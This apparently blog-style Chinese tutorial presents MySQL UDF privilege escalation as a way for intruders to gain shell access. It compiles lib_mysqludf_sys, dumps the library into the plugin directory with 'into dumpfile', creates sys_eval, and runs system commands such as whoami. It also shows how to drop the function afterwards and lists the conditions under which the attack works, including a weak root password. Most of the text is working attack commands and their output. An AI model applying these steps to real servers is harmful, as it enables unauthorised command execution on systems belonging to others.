UDF是MySQL的一个共享库，通过udf创建能够执行系统命令的函数sys_exec、sys_eval，使得入侵者能够获得一般情况下无法获得的shell执行权限
网上有些文章利用的是sqlmap-master\udf\mysql\linux\64的libmysqludf_sys.so文件，但是测试中发现会报错
mysql> create function sys_eval returns string soname 'udf.so';
ERROR 1126 (HY000): Can't open shared library 'udf.so' (errno: 22 /usr/lib64/mysql/plugin/udf.so: invalid ELF header)下载lib_mysqludf_sys程序：https://github.com/mysqludf/lib\_mysqludf\_sys 解压文件，在源码目录里编译源代码：
gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
注意：在编译源码时，可能会出现如下错误
In file included from lib_mysqludf_sys.c:40:
/usr/include/mysql/my_global.h:626:25: error: my_compiler.h: No such file or directory这是一个mysql的bug引起的错误，只要修改/usr/include/mysql/my_global.h文件，注释掉626行重新编译就可以了。 生成文件lib_mysqludf_sys.so后，使用Hexdum获取16进制(或者写脚本读取十六进制并保存为文本文件)
Windows 下导出为udf.dll，使用下面的十六进制
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下面在Linux下操作
mysql> show variables like '%plugin%';
+---------------+-------------------------+
| Variable_name | Value |
+---------------+-------------------------+
| plugin_dir | /usr/lib64/mysql/plugin |
+---------------+-------------------------+
1 row in set (0.00 sec)
mysql> select * from func; #检查是否已经有人导出过了
mysql> select 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into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
Query OK, 1 row affected (0.01 sec)#需要有/usr/lib64/mysql/plugin/目录的写入权限
mysql> create function sys_eval returns string soname 'mysqludf.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql
|
+--------------------+
1 row in set (0.03 sec)
mysql> select * from func;
+----------+-----+-------------+----------+
| name | ret | dl | type |
+----------+-----+-------------+----------+
| sys_eval | 0 | mysqludf.so | function |
+----------+-----+-------------+----------+
1 row in set (0.00 sec)
mysql> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)
mysql> select * from func;
Empty set (0.00 sec)限制条件：
1）mysql root账号弱口令
2）mysql启动账户需要有插件目录的写入权限，例如yum安装的mysql
[root@template tmp]# ls -ald /usr/lib64/mysql/plugin drwxr-xr-x. 2 root root 4096 4月 25 08:33 /usr/lib64/mysql/plugin
而mysql的默认启动账户是mysql，是没有写入权限的。
另外MySQL 5.x中增加了system命令，可以直接执行系统命令。
mysql> system whoami;
root